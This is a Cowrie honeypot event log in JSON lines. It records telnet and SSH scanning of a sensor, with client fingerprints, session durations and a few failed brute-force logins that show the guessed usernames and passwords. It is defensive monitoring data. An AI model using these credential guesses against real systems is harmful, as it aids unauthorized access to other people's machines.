{"eventid":"cowrie.session.closed","duration":34.99229383468628,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:28.900625Z","src_ip":"50.6.8.71","session":"87fc7f160afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.178.196.85","src_port":42284,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a5eb4c17a2","protocol":"telnet","message":"New connection: 181.178.196.85:42284 (159.203.135.109:23) [session: 34a5eb4c17a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:42.869680Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47972,"dst_ip":"10.17.0.5","dst_port":23,"session":"fedd82304574","protocol":"telnet","message":"New connection: 50.6.8.71:47972 (10.17.0.5:23) [session: fedd82304574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:43.609416Z"}
{"eventid":"cowrie.session.closed","duration":33.192718267440796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:44.238232Z","src_ip":"50.6.8.71","session":"8258b908c080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.178.196.85","src_port":42714,"dst_ip":"159.203.135.109","dst_port":23,"session":"e170c6228144","protocol":"telnet","message":"New connection: 181.178.196.85:42714 (159.203.135.109:23) [session: e170c6228144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:45.875877Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41520,"dst_ip":"10.17.0.5","dst_port":23,"session":"9446383ccb49","protocol":"telnet","message":"New connection: 50.6.8.71:41520 (10.17.0.5:23) [session: 9446383ccb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:48.182232Z"}
{"eventid":"cowrie.session.closed","duration":32.50076413154602,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:53.021781Z","src_ip":"50.6.8.71","session":"f34ae29146ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"964a525ec29b","protocol":"telnet","message":"New connection: 50.6.8.71:41526 (10.17.0.5:23) [session: 964a525ec29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:55.276411Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46264,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b83714622bc","protocol":"telnet","message":"New connection: 50.6.8.71:46264 (10.17.0.5:23) [session: 0b83714622bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:05:58.810206Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c9b66e522a3","protocol":"telnet","message":"New connection: 50.6.8.71:32932 (10.17.0.5:23) [session: 5c9b66e522a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:07.282735Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4fe45137b3","protocol":"telnet","message":"New connection: 50.6.8.71:32940 (10.17.0.5:23) [session: 6b4fe45137b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:10.587012Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34328,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bf60eaff816","protocol":"telnet","message":"New connection: 50.6.8.71:34328 (10.17.0.5:23) [session: 1bf60eaff816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:16.780340Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34342,"dst_ip":"10.17.0.5","dst_port":23,"session":"41e2ac99f9d2","protocol":"telnet","message":"New connection: 50.6.8.71:34342 (10.17.0.5:23) [session: 41e2ac99f9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:18.372856Z"}
{"eventid":"cowrie.session.closed","duration":36.502288818359375,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:20.111762Z","src_ip":"50.6.8.71","session":"fedd82304574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16063141822815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:22.342744Z","src_ip":"50.6.8.71","session":"9446383ccb49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"54.159.23.131","src_port":46632,"dst_ip":"10.17.0.5","dst_port":22,"session":"711c833b2f83","protocol":"ssh","message":"New connection: 54.159.23.131:46632 (10.17.0.5:22) [session: 711c833b2f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:31.133309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:31.700251Z","src_ip":"54.159.23.131","session":"711c833b2f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:31.707121Z","src_ip":"54.159.23.131","session":"711c833b2f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:32.713683Z","src_ip":"54.159.23.131","session":"711c833b2f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59730,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc31b59c22d0","protocol":"telnet","message":"New connection: 50.6.8.71:59730 (10.17.0.5:23) [session: bc31b59c22d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:33.689131Z"}
{"eventid":"cowrie.session.closed","duration":39.18867468833923,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:34.464981Z","src_ip":"50.6.8.71","session":"964a525ec29b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75910806655884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:41.041746Z","src_ip":"50.6.8.71","session":"5c9b66e522a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.02455139160156,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:41.834625Z","src_ip":"50.6.8.71","session":"0b83714622bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52350,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6e5e657845","protocol":"telnet","message":"New connection: 50.6.8.71:52350 (10.17.0.5:23) [session: 2a6e5e657845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:46.689861Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52366,"dst_ip":"10.17.0.5","dst_port":23,"session":"f81e0d2eb644","protocol":"telnet","message":"New connection: 50.6.8.71:52366 (10.17.0.5:23) [session: f81e0d2eb644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:47.283730Z"}
{"eventid":"cowrie.session.closed","duration":33.1296112537384,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:49.909836Z","src_ip":"50.6.8.71","session":"1bf60eaff816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44574,"dst_ip":"159.203.135.109","dst_port":22,"session":"eff621ce931d","protocol":"ssh","message":"New connection: 80.94.92.184:44574 (159.203.135.109:22) [session: eff621ce931d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:50.109482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:50.207934Z","src_ip":"80.94.92.184","session":"eff621ce931d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:50.436764Z","src_ip":"80.94.92.184","session":"eff621ce931d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.6395902633667,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:51.226474Z","src_ip":"50.6.8.71","session":"6b4fe45137b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:51.232085Z","src_ip":"80.94.92.184","session":"eff621ce931d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35540,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c316d7334e","protocol":"ssh","message":"New connection: 87.251.79.125:35540 (159.203.135.109:22) [session: 67c316d7334e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:52.254874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:52.260039Z","src_ip":"87.251.79.125","session":"67c316d7334e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:52.331808Z","src_ip":"87.251.79.125","session":"67c316d7334e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:52.409350Z","src_ip":"80.94.92.184","session":"eff621ce931d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:52.546572Z","src_ip":"87.251.79.125","session":"67c316d7334e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:53.625339Z","src_ip":"87.251.79.125","session":"67c316d7334e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52374,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c7de232ec7","protocol":"telnet","message":"New connection: 50.6.8.71:52374 (10.17.0.5:23) [session: f7c7de232ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:53.636347Z"}
{"eventid":"cowrie.session.closed","duration":36.294602394104004,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:06:54.667341Z","src_ip":"50.6.8.71","session":"41e2ac99f9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":30108,"dst_ip":"10.17.0.5","dst_port":22,"session":"885139d77059","protocol":"ssh","message":"New connection: 154.117.199.5:30108 (10.17.0.5:22) [session: 885139d77059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:01.547681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:01.780353Z","src_ip":"154.117.199.5","session":"885139d77059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:02.014928Z","src_ip":"154.117.199.5","session":"885139d77059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f274c0184f1","protocol":"telnet","message":"New connection: 50.6.8.71:54828 (10.17.0.5:23) [session: 5f274c0184f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:02.165401Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53598,"dst_ip":"10.17.0.5","dst_port":23,"session":"053a5bb49271","protocol":"telnet","message":"New connection: 50.6.8.71:53598 (10.17.0.5:23) [session: 053a5bb49271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:08.764695Z"}
{"eventid":"cowrie.session.closed","duration":40.81347060203552,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:14.502499Z","src_ip":"50.6.8.71","session":"bc31b59c22d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079405069351196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:17.769148Z","src_ip":"50.6.8.71","session":"2a6e5e657845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:20.270427Z","src_ip":"111.229.41.7","session":"50368bc6f527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.40055537223816,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:22.684056Z","src_ip":"50.6.8.71","session":"f81e0d2eb644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.131412506103516,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:34.767793Z","src_ip":"50.6.8.71","session":"f7c7de232ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09554100036621,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:38.260833Z","src_ip":"50.6.8.71","session":"5f274c0184f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00535464286804,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:42.874901Z","src_ip":"181.178.196.85","session":"34a5eb4c17a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27494502067566,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:43.039508Z","src_ip":"50.6.8.71","session":"053a5bb49271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0027825832367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:45.878308Z","src_ip":"181.178.196.85","session":"e170c6228144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"053a8a074673","protocol":"telnet","message":"New connection: 50.6.8.71:43172 (10.17.0.5:23) [session: 053a8a074673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:46.915822Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43188,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e8608a2b0ad","protocol":"telnet","message":"New connection: 50.6.8.71:43188 (10.17.0.5:23) [session: 8e8608a2b0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:07:54.766638Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52088,"dst_ip":"10.17.0.5","dst_port":22,"session":"21d9723ff329","protocol":"ssh","message":"New connection: 89.108.118.91:52088 (10.17.0.5:22) [session: 21d9723ff329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:03.367293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:03.372735Z","src_ip":"89.108.118.91","session":"21d9723ff329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:03.518028Z","src_ip":"89.108.118.91","session":"21d9723ff329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"852963","message":"login attempt [root/852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:03.933816Z","src_ip":"89.108.118.91","session":"21d9723ff329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:05.074934Z","src_ip":"89.108.118.91","session":"21d9723ff329","protocol":"ssh"}
